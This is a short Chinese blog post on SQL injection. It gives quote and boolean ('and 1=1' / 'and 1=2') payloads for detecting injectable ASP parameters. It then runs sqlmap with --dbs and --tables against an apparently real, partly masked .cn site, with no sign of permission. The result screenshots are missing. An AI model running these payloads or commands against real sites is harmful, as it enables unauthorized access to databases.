sql注入是黑客常用的手段之一,最近装了kali系统,所以体会了一把sql注入的感觉,有点体会记录如下:
首先我们来看一下如何判断一个网站是可以进行sql注入:
为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。
1.整型参数的判断:
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断:
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:select * from 表名 where 字段=’YY’,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … 39;1’=’1’, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … 39;1’=’2’, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
注入过程:
打开sqlmap,先把url丢给sqlmap去跑,命令:
sqlmap -u "www.xxxx.cn/jiazheng_l.asp?id=455"
结果:
从图中我们可以看出,这个注入点提交的类型是get型,数据库为Microsoft Access,系统是Windows,接下来我们试试列出它的数据库。执行如下命令:
sqlmap -u "www.xxxx.cn/jiazheng_l.asp?id=455" --dbs
结果:提示Access数据库不能建库,要使用 –tables参数
所以我们改变命令:
sqlmap -u "www.xxxxx.cn/jiazheng_l.asp?id=455" --tables
结果如下:
最后跑出来了: